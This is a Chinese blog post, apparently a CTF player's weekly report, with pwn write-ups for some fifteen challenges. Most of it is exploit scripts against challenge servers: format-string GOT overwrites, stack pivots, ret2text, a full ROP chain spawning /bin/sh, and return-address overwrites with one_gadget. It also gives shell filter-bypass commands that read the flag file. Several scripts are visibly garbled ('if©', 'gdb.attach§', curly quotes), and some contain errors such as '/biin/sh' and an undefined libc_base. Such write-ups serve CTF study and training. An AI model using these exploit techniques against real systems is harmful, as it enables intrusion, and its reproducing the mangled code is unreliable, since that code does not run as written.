某不知名ctfer选手的第一周周报

m5t0ck

已于 2024-05-08 20:35:47 修改

阅读量937

点赞数 16

文章标签：网络安全

于 2024-04-22 00:41:28 首次发布

本文链接：https://blog.csdn.net/2303_79366759/article/details/138046425

版权

[HDCTF 2023]KEEP ON

这个题目给我一种很奇怪的感觉，这下面可以看到有栈溢出和格式化字符串漏洞，那么通过栈迁移可以回到s开始的部分执行写入的恶意代码，但是，这个栈的布局有点特殊，导致我插入的payload的位置不能确定，不过当我动调好之后，本地打通了去打远程，远程竟然又不行了。然后当我劫持got表去打远程打得通，本地又不行了。这里是栈迁移的exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./hdctf')
p=remote("node4.anna.nssctf.cn",28469)
elf = ELF('./hdctf')
leave=0x4007F2
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ret=0x00000000004005b9 
rdi=0x00000000004008d3
p.recv()
s(b'%16$p')
rl("hello,")
pause()
#pr()
#debug()
stack=int16(r(14))-0x60
lg(b'stack',stack)
#pr()
s(b'/bin/sh\x00'*5+p64(rdi)+p64(stack)+p64(0x40085D)+b'/bin/sh\x00'*2+p64(stack+0x20)+p64(leave))
s#(b'a'*0x58)

inter()

这里是劫持got表的exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#=p = process('./hdctf')
p=remote("node4.anna.nssctf.cn",28469)
elf = ELF('./hdctf')
printf_got = elf.got.printf
system_plt = elf.plt.system
payload = fmtstr_payload(6,{printf_got:system_plt})
sla("name:",payload)
payload = b'a' * 0x58 + p64(0x40076F)
sa("keep on !\n",payload)
sa("name: \n",b'/bin/sh\x00')
inter()

[NUSTCTF 2022 新生赛]ezPwn

可以看到是一道简单的ret2text,这里可以不用管v4需要满足的条件，直接劫持程序控制流到system("cat flag");就可以了。

exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p=remote("node5.anna.nssctf.cn",24135)
p = process('./pwn')
#p=remote("node4.anna.nssctf.cn",28808)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./pwn')
payload=b'a'*(0xA+0x8)+p64(0x401229)
sl(payload)
inter()

[CISCN 2023 初赛]烧烤摊儿

打开ida一看发现这里有很多函数，判断为静态编译。然后发现这几个作者自己写入的函数，对应相应模块的功能

一开始你的钱是远远不够承包摊位的，通过调试可以发现溢出点并不在1,2,3,4中（也可能有，不过我没发现），那么现在我们该怎么获得更多的钱

可以看到这对输入的v1并没有限制，那么我们如果对v1输入-100000的话就能获得我们想要的钱，拿下烧烤摊不是问题。然后可以对烧烤摊赐名，那么这里由于它赐名使用的是scanf(%s)作为格式化字符串的，那么这里就会造成溢出（这里使用%s的话,那么scanf只有遇到\x00才会停止读入），然后再用ROPgadget --binary shaokao --ropchain 构造ROP链就可以拿下shell了

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p=remote("node5.anna.nssctf.cn",24135)
p = process('./shaokao')
#p=remote("node4.anna.nssctf.cn",28348)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./shaokao')
payload=b'/biin/sh\x00'
#debug()
sl(b'2')
sleep(1)
pr()
sl(b'1')
sleep(1)
pr()
sl(b'-1000000')
pr()
#sl(b'3')

sleep(1)
sl(b'4')
pr()
sl(b'5')

def get_payload():
	p = b'a'*(0x20+0x8)

	p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
	p += pack('<Q', 0x00000000004e60e0) # @ .data
	p += pack('<Q', 0x0000000000458827) # pop rax ; ret
	p += b'/bin//sh'
	p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
	p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
	p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
	p += pack('<Q', 0x00000000004e60e0) # @ .data
	p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
	p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
	p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
	p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
	p += pack('<Q', 0x4141414141414141) # padding
	p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
	p += pack('<Q', 0x0000000000402404) # syscall
	return p
        
        
        
        
p.sendline(get_payload())
p.interactive()
pause()

[2021 鹤城杯]easyecho

这个题目不知道为什么本地一直打不通，在本地写了一个flag文件也不管用，我猜如果想本地打通的话，你可以下个ubuntu16，这样应该可以打通，但是不太介意，

这里你可以进入gdb动调可以发现，这个v8可以截断一个字符串，从而泄露程序基地址（因为开了pie）,然后发现get函数，但是现在又没什么手段泄露canary，考虑stack Smash。找到argv[0]的地址，通过get把他覆盖为flag的地址，注意在进行get读入时，flag并没有被载入地址，它只是赋予了v9.

我们要执行这个 ((void (__fastcall *)(const char *, char *))v9)(v6, v5);才能让flag载入到内存中，那么如何执行这个也很简单

可以看到*v5++ == *v6++;最终会赋予v3一个ture或者false,那么显然如果要让flag读入的话,就要让v3不等于0，那么输入backdoor\x00给v10即可

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p=remote("node5.anna.nssctf.cn",24135)
#p = process('./easyecho')
#debug('b *$rebase(0xB18)')#0x555555400b90
p=remote("node4.anna.nssctf.cn",28742)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./easyecho')
r()
payload=b'a'*12+b'stop'
s(payload)
rl(b'stop')
adc=(u64(p.recv(6).ljust(8,b'\x00')))
pro_base=adc-0xcf0
sla(b'Input: ', b'backdoor\x00')
lg('pro_base',pro_base)
flag_addr=pro_base+0x202040
lg('flag_addr',flag_addr)
sleep(1)
payload2=b'b'*0x168+p64(flag_addr)
sl(payload2)
sleep(1)
sla(b'Input: ', b'exitexit')
inter()
pause()

[HGAME 2023 week1]easy_overflow

无非就是把标准输出关了而已重新开启后就是简单的栈溢出了
exec 1>&2

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
if©:
gdb.attach(p, c)
else:
gdb.attach§

def get_sb() : return libc_base + libc.sym[‘system’], libc_base + next(libc.search(b’/bin/sh\x00’))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b’\xf7’)[-4:].ljust(4,b’\x00’))
l64 = lambda :u64(p.recvuntil(b’\x7f’)[-6:].ljust(8,b’\x00’))
uu32 = lambda :u32(p.recv(4).ljust(4,b’\x00’))
uu64 = lambda :u64(p.recv(6).ljust(8,b’\x00’))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success(‘%s -> 0x%x’ % (s, num))
#-----------------------------------------------------------------------------------------
context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)
p=remote(“node5.anna.nssctf.cn”,27101)
#p = process(‘./vuln’)
#p=remote(“node4.anna.nssctf.cn”,28348)
libc=ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
elf = ELF(‘./vuln’)
payload=b’a’*0x18+p64(0x000000000040101a)+p64(0x401176)
s(payload)
inter()
#exec 1>&2

记住
0->stdin->标准输入
1->stdout_>标准输出
2->stderr->错误输出

[MoeCTF 2022]ret2text

what can i say

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
if©:
gdb.attach(p, c)
else:
gdb.attach§

def get_sb() : return libc_base + libc.sym[‘system’], libc_base + next(libc.search(b’/bin/sh\x00’))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b’\xf7’)[-4:].ljust(4,b’\x00’))
l64 = lambda :u64(p.recvuntil(b’\x7f’)[-6:].ljust(8,b’\x00’))
uu32 = lambda :u32(p.recv(4).ljust(4,b’\x00’))
uu64 = lambda :u64(p.recv(6).ljust(8,b’\x00’))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success(‘%s -> 0x%x’ % (s, num))
#-----------------------------------------------------------------------------------------
context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)
p=remote(“node5.anna.nssctf.cn”,20215)
#p = process(‘./pwn’)
#p=remote(“node4.anna.nssctf.cn”,28348)
libc=ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
elf = ELF(‘./pwn’)
payload=b’a’*0x48+p64(0x4014C2)
pr()
s(payload)
inter()

[UUCTF 2022 新生赛]babystack

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p=remote("node5.anna.nssctf.cn",28077)
#p = process('./vuln')
#p=remote("node4.anna.nssctf.cn",28348)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#elf = ELF('./vuln')
payload=b'a'*0x108+p64(0x400734)
s(payload)
inter()

manba out

[FSCTF 2023]nc

打开附件发现禁用了一些获取flag的命令，抓了个web手来问了一点绕过的方法

exp：

tac f\lag >&2
tac fla* >&2

[MoeCTF 2022]shell

nc 连上就有flag

[NISACTF 2022]shop_pwn

这里由于是多线程引发的漏洞

NSSIMAGE

之前写错了，再发一遍
一开始给了我们一只pen可以卖。但是卖了也不够我买flag的钱，不如把我的好基友汤某某卖了。言归正传，这里的话由于它在卖东西的时候会再创建一个新线程，所以我们只需要快数的连续发送3,0这样就可以在第一个线程来不及反应的时候，第二个线程和第一个一起卖掉了这只pen就可以了，这样就不用卖掉我的好基友了

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
if©:
gdb.attach(p, c)
else:
gdb.attach§

def get_sb() : return libc_base + libc.sym[‘system’], libc_base + next(libc.search(b’/bin/sh\x00’))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b’\xf7’)[-4:].ljust(4,b’\x00’))
l64 = lambda :u64(p.recvuntil(b’\x7f’)[-6:].ljust(8,b’\x00’))
uu32 = lambda :u32(p.recv(4).ljust(4,b’\x00’))
uu64 = lambda :u64(p.recv(6).ljust(8,b’\x00’))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success(‘%s -> 0x%x’ % (s, num))
#-----------------------------------------------------------------------------------------
context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)
p=remote(“node5.anna.nssctf.cn”,21243)
#p = process(‘./pwn’)
#p=remote(“node4.anna.nssctf.cn”,28348)
libc=ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
elf = ELF(‘./pwn’)
sl(b’3’)
sl(b’0’)
sl(b’3’)
sl(b’0’)
r()
sl(b’2’)
sl(b’1’)
pr()
#sl(b’1’)
pr()
inter()

[MoeCTF 2021]ret2text_ez

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p=remote("node5.anna.nssctf.cn",28702)
#p = process('./pwn')
#p=remote("node4.anna.nssctf.cn",28348)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./pwn')
payload=b'a'*0x28+p64(0x4011AA)
pr()
s(payload)
inter()

[SWPUCTF 2022 新生赛]Darling

可以看到只要v5等于我们输入的值就可以获得shell了，但是v5是一个随机数，那么这不就很容易了吗？直接让我们的编译器模拟环境，然后就可以通过c语言代码模拟生成的v5的值，就可以了

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int v5;
    srand(0x1317E53u);
    v5 = rand() % 100 - 64;
    printf("%d",v5);
}

不过这里为什么会生成伪随机数我也不太清楚。总之这个运行完之后可以知道v5的值为17,然后再nc 输入17就可以了。

[SDCTF 2022]Horoscope

无非就是套了一层皮的ret2text而已，直接问ai nptr = strtok(a1, "/");是什么意思基本上可以秒了

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p=remote("node5.anna.nssctf.cn",24135)
#p = process('./horoscope')
p=remote("node4.anna.nssctf.cn",28483)
#debug()
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./horoscope')
ret=0x00000000004005de
payload=b'3'+b'/'+b'a'*0x36+p64(ret)+p64(0x40096E)+p64(0x400954)
pr()
sl(payload)
inter()

[HCTFn2d]easy-fmt

易知这是格式化字符串漏洞，但是这里改不了got表，而且循环次数好像有点不够，那么只能用该ret_addr了。首先我们需要更进一步的了解什么格式化字符串写数据的原理，先上图

不知道你们是不是有时候会遇到这种情况，你们可能是想对%6$p对应的地方写值，但是这个它是对指针进行操作的，那么%6$p对应的地方，也就是rsp对应的地方它的值是0x1，可能我们的意是想把通过%255c%6$n把0x1改成我们需要的值，但是格式化字符串会把0x1解析为一个地址，那么我们对0x1这个地址写值，当然会不可避免的出错，所以我们要想办法把一个指针指向rsp的位置，那么就可以对rsp保存的指针保存里面的值进行修改了。这样就可以获得我们任意想要的循环次数了。

那么问题又来了由于这是非栈上的格式化字符串，那么我们怎么先改低位，再改高位呢？这里可不能像栈上的格式化字符串一样自己把我们要改动的值写在栈上。想想看，其实原理还是和指针有关嘛，当我们第一次让指针执行ret_addr,第一次修改的同时也把指向ret_addr的指针抬高一点点，那么下次我们再修改的时候指针就是指向ret_addr的高位了，这里由于我的本地环境有点问题，所以还导致了，远程打不通，本地打得通的情况，改了之后就远程打的通，本地打不通了。不过没关系动态了一下发现只是本地和远程的栈布局有点不一样而已，以后写pwn题目时尽量使用和主办方给出的环境一样。好了，这就是知识点介绍接下来就上exp吧

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p=remote("124.71.99.248",20866)
elf = ELF('./pwn')
libc = ELF('libc-2.27.so')

#debug('b *$rebase(0x91D)')


p.sendafter("stdin>>\n",b'%21$p.%8$p.')
libcbase=int(p.recvuntil(b'.')[-13:-1],16)-libc.sym['__libc_start_main']-231
stack=int(p.recvuntil(b'.')[-13:-1],16)-0x20


ret_addr=stack+0x18




lg('libcbase', libcbase)
c = int16(hex(stack)[-2:])
b = int16(hex(ret_addr)[-2:])
sa(b'stdin>>\n',b'%' + str(c).encode() + b'c%10$hhn')
#pause()
sleep(1)

sa(b'stdin>>\n', b'%14c%16$hn')


sleep(1)


sa(b'stdin>>\n',b'%' + str(b).encode() + b'c%8$hhn')
#pause()

one_gadget=libc_base+0x4f29e
sleep(1)

lg('one_gadget',one_gadget)

a = int16(hex(ret_addr)[-2:])

d = int16(hex(one_gadget)[-12:-10])

for i in range(6):
	payload = b'%' + str((a+i)).encode() + b'c%10$hhn'
	sa(b'stdin>>\n', payload)
	
	payload = b'%' + str((one_gadget>> 8*(i)) & 0xff).encode() + b'c%16$hhn'
	sa(b'stdin>>\n', payload)

sa(b'stdin>>\n',b'%' + str(d).encode() + b'c%16$hhn')
#debug('b *$rebase(0x91D)')
#pause()
	
inter()

m5t0ck

关注

16
点赞
踩
24

收藏

觉得还不错? 一键收藏
3
评论
某不知名ctfer选手的第一周周报

不知道你们是不是有时候会遇到这种情况，你们可能是想对%6$p对应的地方写值，但是这个它是对指针进行操作的，那么%6$p对应的地方，也就是rsp对应的地方它的值是0x1，可能我们的意是想把通过%255c%6$n把0x1改成我们需要的值，但是格式化字符串会把0x1解析为一个地址，那么我们对0x1这个地址写值，当然会不可避免的出错，所以我们要想办法把一个指针指向rsp的位置，那么就可以对rsp保存的指针保存里面的值进行修改了。直接让我们的编译器模拟环境，然后就可以通过c语言代码模拟生成的v5的值，就可以了。
复制链接

扫一扫